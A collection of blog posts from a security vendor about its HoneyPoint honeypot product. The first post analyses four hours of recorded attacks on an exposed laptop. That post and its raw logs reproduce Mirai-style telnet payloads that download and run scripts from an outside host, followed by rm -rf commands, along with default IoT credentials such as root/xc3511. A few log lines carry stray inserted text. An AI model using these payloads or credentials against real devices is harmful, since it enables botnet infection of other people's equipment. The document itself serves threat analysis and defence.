Beyond the firewall – 4 hours of recorded attacks against IOT devices

The graph below shows a distribution, by country, of the attacks seen by a laptop exposed to the open Internet for 4 hours on July 23, 2017.  TCP 23 (telnet) and TCP 1433 (MSSQL) were exposed and attack payloads directed against those services were recorded by honeypots running on those ports. All attacks are listed below together with a discussion of two particular IOT (Internet of Things)  attacks.

The laptop exposure was inadvertent and possibly related to Universal Plug and Play (UPNP) being enabled on the home router.  The laptop happened to be running an HPSS honeypoint agent with fake listeners on several common service ports. The agents send alerts to a central console that records information about the attack in a database and optionally writes to a log.  Those log entries are provided at the end of this post.

Here’s the net message:

Attacks against unsecured IOT devices are a reality – and they are happening right at the Internet boundary of your own home or business.

Do you have an IP-enabled home video camera or similar device?  See if it is on this list of devices known to be attacked:

https://krebsonsecurity.com/2016/10/who-makes-the-iot-things-under-attack/

Note that events similar to those described below can – and do – happen within the firewall. See our previous post on the use of honeypots to detect the spread of malware within the private internal space of an organization.

If you are not already using some form of honeypot as part of your IDS strategy, consider doing so. They are normally quiet watchdogs – but when they do bark, there really is something going on you need to know about.

==> Oh.. and UPNP?  If that’s enabled on your home router, TURN IT OFF!

Netgear: http://netgear-us.custhelp.com/app/answers/detail/a_id/22686/~/how-to-disable-the-upnp-feature-on-your-netgear-router

Linksys: https://www.linksys.com/us/support-article?articleNum=135071

ASUS:  https://www.ghacks.net/2015/03/24/secure-you-wireless-router/


Here are the details of the attacks seen during that 4-hour window:

The sources of attacks were diverse by country of origin. The attacking systems were almost certainly compromised systems being used by the attackers without the owners awareness, although state-sponsored activity cannot be ruled out.

  • Here is one item of interest:

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015

  • The attacker IP (1.30.116.116 ) is registered in China/Mongolia.

inetnum: 1.24.0.0 – 1.31.255.255
netname: UNICOM-NM
descr: China unicom InnerMongolia province network

  • The attacker is attempting to cause the targeted victim machine to download and execute a shell script

wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh;

  • 185.165.29.111 – the source of the script – is an IP associated with Germany.

inetnum: 185.165.29.0 – 185.165.29.255
netname: AlmasHosting
country: DE

  • The few IP’s with reverse DNS in that /24 are associated with Iran (.ir domain).

host.mlsending.ir (185.165.29.58)
host.mlsender.ir (185.165.29.59)
host.madstoreml.ir (185.165.29.80)

  • Heckz.sh is associated with known malware

https://virustotal.com/en/file/5a5183c1f5fdab92e15f64f18c15a390717e313a9f049cd9de4fbb3f3adc4008/analysis/

  • The shell script – if successfully downloaded and executed , runs

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/mba; chmod +x mba; ./mba; rm -rf mba
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ebs; chmod +x ebs; ./ebs; rm -rf ebs
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ew; chmod +x ew; ./ew; rm -rf ew
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/aw; chmod +x aw; ./aw; rm -rf aw
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ftr; chmod +x ftr; ./ftr; rm -rf ftr
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/er; chmod +x er; ./er; rm -rf er
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/re; chmod +x re; ./re; rm -rf re
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ty; chmod +x ty; ./ty; rm -rf ty
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ke; chmod +x ke; ./ke; rm -rf ke
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/as; chmod +x as; ./as; rm -rf as
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/fg; chmod +x fg; ./fg; rm -rf fg
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/sddf; chmod +x sddf; ./sddf; rm -rf sddf
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/tel; chmod +x tel; ./tel; rm -rf tel

  • The “ew” program is known malware…..

https://virustotal.com/en/file/9685eeef4b7b25871f162d0050c9a9addbcba1df464e25cf3dce66f5653ebeca/analysis/

  • …and likely is associated with a variant of this botnet’s infrastructure:

https://en.wikipedia.org/wiki/Mirai_(malware)

  • Here’s another entry of interest

Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015

  • On the central console this shows as:

  • This is an attempted attack against a specific Chinese vendor’s (XiongMai Technologies) firmware using a login/password that is embedded in that firmware

https://krebsonsecurity.com/2016/10/europe-to-push-new-security-rules-amid-iot-mess/


Summary:

An unfortunate event, for sure. Still, the presence of honeypots on the targeted machine allowed us to capture real-world attack data and learn something of the reality of life beyond the firewall.  The Mirai botnet malware – and its variants – go from being something read about to something actually seen.

Always useful for understanding threats and planning meaningful defense.


The data:

Here are the raw log entries of attacks seen over the 4 hour exposure interval. The ones discussed above and some others of interest in bold.

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:42:47 Alert Data: Connection Received
Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:55 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:56 Alert Data: Connection Received
Jul 23 19:45: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:45:36 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:46: hpoint-2371 received an alert from: 38.133.25.167 on port 23 at 2017-08-06 19:46:42 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:28 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:38 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:39 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:50 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:57: hpoint-2371 received an alert from: 70.79.76.209 on port 23 at 2017-08-06 19:57:21 Alert Data: Connection Received
Jul 23 20:00: hpoint-2371 received an alert from: 222.96.190.71 on port 23 at 2017-08-06 20:00:04 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection ReceivedASUS:
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:53 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:56 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:22 Alert Data: Connection Received
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:44 Alert Data: root#015#012zlxx.#015#012enable#015
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:05 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:15 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:16 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:46: hpoint-2371 received an alert from: 103.253.183.107 on port 23 at 2017-08-06 20:46:31 Alert Data: Connection Received
Jul 23 20:48: hpoint-2371 received an alert from: 119.186.47.97 on port 23 at 2017-08-06 20:48:00 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:15 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at ASUS:2017-08-06 20:50:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:26 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:37 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 21:07: hpoint-2371 received an alert from: 113.53.91.152 on port 23 at 2017-08-06 21:07:14 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 192.249.135.180 on port 23 at 2017-08-06 21:12:15 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:53 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 21:17: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:17:51 Alert Data: Connection Received
Jul 23 21:18: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:18:12 Alert Data: root#015#01212345#015#012enable#015
Jul 23 21:51: hpoint-2371 received an alert from: 85.56.128.151 on port 23 at 2017-08-06 21:51:06 Alert Data: Connection Received
Jul 23 21:54: hpoint-2371 received an alert from: 24.212.74.182 on port 23 at 2017-08-06 21:54:45 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:35 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:58 Alert Data: guest#015#01212345#015#012enable#015
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.here’s the b201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Connection Received
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:59 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:20: hpoint-2371 received an alert from: 31.163.178.165 on port 23 at 2017-08-06 22:20:07 Alert Data: guest#015#012guest#015#012enable#015
Jul 23 22:27: hpoint-2371 received an alert from: 91.122.218.139 on port 23 at 2017-08-06 22:27:09 Alert Data: Connection Received
Jul 23 22:35: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:35:53 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:22 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:39 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:17 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:39 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:53: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:53:36 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:54:09 Alert Data: enable#015#012system#015#012shell#015#012sh#015#012cat /proc/mounts; /bin/busybox JBQVI#015
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:19 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:41 Alert Data: root#015#01212345#015#012enable#015
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:35 Alert Data: Connection Received
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:57 Alert Data: root#015#012xc3511#015#012enable#015
Jul 23 23:02: hpoint-2371 received an alert from: 97.107.83.42 on port 23 at 2017-08-06 23:02:28 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:30 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:40 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:44 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 23:19:20 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 ASUS:23:19:23 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:23: hpoint-2371 received an alert from: 109.96.99.66 on port 23 at 2017-08-06 23:23:37 Alert Data: Connection Received

Worm detection with HoneyPoint Security Server (HPSS): A real world example

This post describes a malware detection event that I actually experienced a few short years ago.

My company (Company B) had been acquired by a much larger organization (Company A) with a very large internal employee desktop-space. A desktop-space larger than national boundaries.

We had all migrated to Company A  laptops – but our legacy responsibilities required us to maintain systems in the original IP-space of company B.  We used legacy Company B VPN for that.

I had installed the HPSS honeypoint agent on my Company A laptop prior to our migration into their large desktop space.  After migration I was routinely VPN’ed into legacy Company B space, so a regular pathway for alerts to reach the console existed.

After a few months, the events shown in the diagram below occurred.

I started to receive email alerts directed to my Company B legacy email account. The alerts described TCP 1433 scans that my Company A laptop was receiving.  The alerts were all being thrown by the MSSQL (TCP 1433 – Microsoft SQL Server) HoneyPoint listener on my laptop.

I was confused – partly because I had become absorbed in post-acquisition activities and had largely forgotten about the HPSS agent running on my laptop.

After looking at the emails and realizing what was happening, I got on the HPSS console and used the HPSS event viewer to get details. I learned that the attackers were internal within Company A space. Courtesy of HPSS I had their source IP addresses and the common payload they all delivered.  Within Company A I gathered information via netbios scans of the source IPs.  The infected machines were all Company A laptops belonging to various non-technical staff on the East Coast of the U.S.

All of that got passed on to the Company A CIO office. IDS signatures were generated, tweaked, and eventually the alerts stopped.  I provided payload and IP information from HPSS throughout the process.

I came away from the experience with a firm belief that company laptops, outfitted with HoneyPoint agents, are an excellent way of getting meaningful detection out into the field.

I strongly recommend you consider something similar. Your organization’s company laptops are unavoidably on the front-line of modern attacks.

Use them to your advantage.

 

 

Revisiting Nuance Detection

The core of nuance detection is to extend alerting capabilities into finding situations that specifically should not exist, and if they happen, would indicate a significant security failure. A simple, elegant example would be a motion sensor on a safe in your home, combined with something like your home alarm system.
 
A significant failure state would be for the motion sensor inside the safe to trigger while the home alarm system is set in away mode. When the alarm is in away mode, there should be no condition that triggers motion inside the safe. If motion is detected, anytime, you might choose to alert in a minor way. But, if the alarm is set to away mode, you might signal all kinds of calamity and flashing lights, bells and whistles, for example.
 
This same approach can apply to your network environment, applications or data systems. Define what a significant failure state looks like, and then create detection and alerting mechanisms, even if conditional, for the indicators of that state. It can be easy. 
 
I remember thinking more deeply about this for the first time when I saw Marcus Ranum give his network burglar alarm speech at Defcon, what seems like a 1000 years ago now. That moment changed my life forever. Since then, I have always wanted to work on small detections. The most nuanced of fail states. The deepest signs of compromise. HoneyPoint™ came from that line of thinking, albeit, many years later. (Thanks, Marcus, you are amazing! BTW.) 🙂
 
I’ve written about approaches to it in the past, too. Things like detecting web shells, detection in depth techniques and such. I even made some nice maturity and deployment models.
 
This month, I will be revisiting nuance detection more deeply. Creating some more content around it, and speaking about it more openly. I’ll also cover how we have extended HoneyPoint with the Handler portion of HoneyPoint Agent. in order to fully support event management and data handling into your security alerting systems from basic scripts and simple tools you can create yourself. 
 
Stay tuned, and in the meantime, drop me a line on Twitter (@lbhuston) and let me know more about nuance detections you can think of or have implemented. I’d love to hear more about it. 

My Time as a HoneyPoint Client

Prior to joining MicroSolved as an Intelligence Engineer, I was the Information Security Officer and Infrastructure Manager for a medical management company.  My company provided medical care and disease management services to over 2 million individuals.  Throughout my tenure at the medical management organization, I kept a piece of paper on my bulletin board that said “$100,000,000”.

 

Why “$100,000,000”?  At the time, several studies demonstrated that the average “street value” of a stolen medical identity was $50.  If each record was worth $50, that meant I was responsible for protecting $100,000,000 worth of information from attackers.  Clearly, this wasn’t a task I could accomplish alone.

 

Enter: MicroSolved & HoneyPoint

 

Through my membership with the Central Ohio Information Systems Security Association, I met several members of the MicroSolved team.  I engaged them to see if they could help me protect my organization from the aforementioned attackers.  They guided me through HIPPA/HITECH laws and helped me gain a further understanding of how I could protect our customers.  We worked together to come up with innovative solutions that helped my team mitigate a lot of the risks associated with handling/processing 2 million health care records.

 

A core part of our solution was to leverage the use of HoneyPoint Security Server.  By using HoneyPoint, I was able to quickly gain visibility into areas of our network that I was often logically and physically separated from.  I couldn’t possibly defend our company against every 0-day attack.  However, with HoneyPoint, I knew I could quickly identify any attackers that had penetrated our network.

 

Working for a SMB, I wore many hats.  This meant that I didn’t have time to manage another appliance that required signature updates.  I quickly found out that HoneyPoint didn’t require much upkeep at all.  A majority of my administrative tasks surrounding HoneyPoint were completed when I deployed agents throughout our LAN segments that mimicked existing applications and services.  I quickly gained the real-time threat analysis that I was looking for.

 

If you need any assistance securing your environment or if you have any questions about HoneyPoint Security Server, feel free to contact us by sending an email to: info@microsolved.com.

 

This post contributed by Adam Luck.

HPSS Training Videos Now Available

We are proud to announce the immediate availability of HoneyPoint Security Server training videos. You can now learn more about installing and using the Console, Agents, the HPSS Proxy and soon Wasp, HoneyBees and Trojans.

Jim Klun (@pophop)  put the videos together and will continue to build the series over the coming months. Check them out and give Jim some feedback over Twitter. Also, let us know what other videos you would like to see.

You can get access to the videos using the credentials provided to you with your HoneyPoint license. The videos, along with a brand new User Guide, are now available from the distro web site.

Thanks to all HPSS users, and we promise to continue to evolve HPSS and make it even easier and more powerful over the coming year. As always, thanks for choosing MSI as your security partner. We appreciate it and greatly value your input! 

HoneyPoint Security Server Console 4.0 Released

HPSS

MSI is proud to announce the immediate availability of the HoneyPoint Console version 4.0!

The new version of the Console for HPSS is now available for Windows, Linux and Mac OS X. In addition to the Console, new installer tools and documentation is also available.

The new Console finally includes operation as a service/daemon WITHOUT the need to have the GUI running. That’s right, finally headless consoles that work immediately with SEIM and other monitoring tools. Configuration of the Console and management is still available through the GUI, but headless operation is now at the core of the Console product line!

Other improvements include bug fixes, increased error handling, better memory management, improved installers and installation tools and much much more. If you haven’t upgraded your Console or seen the new 4.0 Console yet, we think you will find it much improved.

To obtain the new Console, refer to your QuickStart Guide. It is now available through the HoneyPoint distribution site. No changes to the database or license key are required, however, you must have a current license to qualify for the upgrade. Please back up your Console databases prior to upgrading, though we have experienced no issues with the upgrade process.

 

Thanks, as always, for choosing HoneyPoint Security Server and MSI. We value your partnership and trust.

HoneyPoint IP Protection Methodology

Here’s another use case scenario for HoneyPoint Security Server. This time, we show the methodology we use to scope a HoneyPoint implementation around protecting a specific set of Intellectual Property (IP). 

If you would like an in-depth discussion of our process or our capability, please feel free to reach out to us and schedule a call with our team. No commitment and no hard sale, guaranteed.

If the graphic below is blurry on your device, you can download a PDF version here.

HP_IPProtection

HoneyPoint Trojans Overview

Here’s another quick overview graphic of how HoneyPoint Trojans work. We have been using these techniques since around 2008 and they are very powerful. 

We have incorporated them into phishing exercises, piracy studies, incident response, intrusion detection, intelligence gathering, marketing analysis and even privacy research. To hear more about HoneyPoint Trojans, give us a call.

If the graphic below is blurry on your device, you can download a PDF version here.

HPTrojanOverview

HoneyPoint in a Point of Sale Network

We have been getting a LOT of questions lately about how HoneyPoint Security Server (HPSS) fits into a Point of Sale (POS) network.

To make it pretty easy and as a high level overview, below is a use case diagram we use to discuss the solution. If you would like a walkthrough of our technology, or to discuss how it might fit into your specific use cases, please let us know.

As always, thanks for reading and for partnering with MicroSolved, Inc.

PS – If the graphic below is difficult to read on your device, you can grab a PDF version here.

HP POSNetworks

Using HoneyPoint to Inventory Windows Boxes on a Segment

For quite some time now, we have been using HoneyPoint Agent and Console to do some passive inventory and mapping exercises for clients, particularly those involved in ICS and SCADA deployments where active scanning to get inventories is often strongly discouraged. We had particular success with a specific client in this space a couple of weeks ago, and I wanted to discuss it here, since it has proven itself to be a useful tool and is on the top of my mind at the moment.

To get an inventory of the Windows systems on a collision domain, you simply install the Agent on a Linux box (or I suggest using the virtual appliance we already have built for your ease) and implement it and the Console. Once HoneyPoint is operational, you configure a UDP listener on port 138. From there, all of the NETBios speaking Windows systems will begin to send traffic to the host, as per the usual behavior of those systems. In this case, however, HoneyPoint will capture each source IP and log it to the Console. It will also capture the UDP datagrams from that conversation and place them as event data in the logs. By reviewing the source IPs, you can quickly and easily take stock of the Windows systems on the collision domain without sending any traffic at all to the systems. As a bonus, if you dig into the datagram data, you will also see the names of the hosts and other information.

Most of the time, this technique captures only Windows boxes, but if you have other devices out there running NETBios, they will likely get detected as well. This can include embedded systems, Unix systems running SAMBA, printers and copiers, Windows CE systems (often seen in many field equipment deployments), etc. You might be surprised what you can find.

Try this with a laptop, and move the laptop around your environment. You can pretty quickly and easily get an inventory by collision domain. You can also try dialing other NETBios ports and see if you get traffic that is routed across your switching fabric. Depending on your configuration, you might be able to gather a great deal of inventory data from a single location (especially if your network is flat and switches are poorly configured).

Give this a shot or get in touch if you would like us to come onsite and perform the inventory for you. We think it is a pretty useful technique and one that many folks are enjoying the benefits of. Let us know what you think when you give it a run in your network!

As always, thanks for reading, and until next time, stay safe out there!

PS – You can also do this with HoneyPoint Personal Edition on a Linux system, which makes it very easy and cheap to do if you don’t want to invest in a full blown HoneyPoint Security Server implementation. (You should invest though, it is a FANTASTIC detection tool!)

**(The link above is for HPPE on Windows, but if you purchase a license and contact us, we will send you the Linux build right away. You can’t easily capture port 138/UDP traffic in Windows HPPE because Windows has those ports in use…)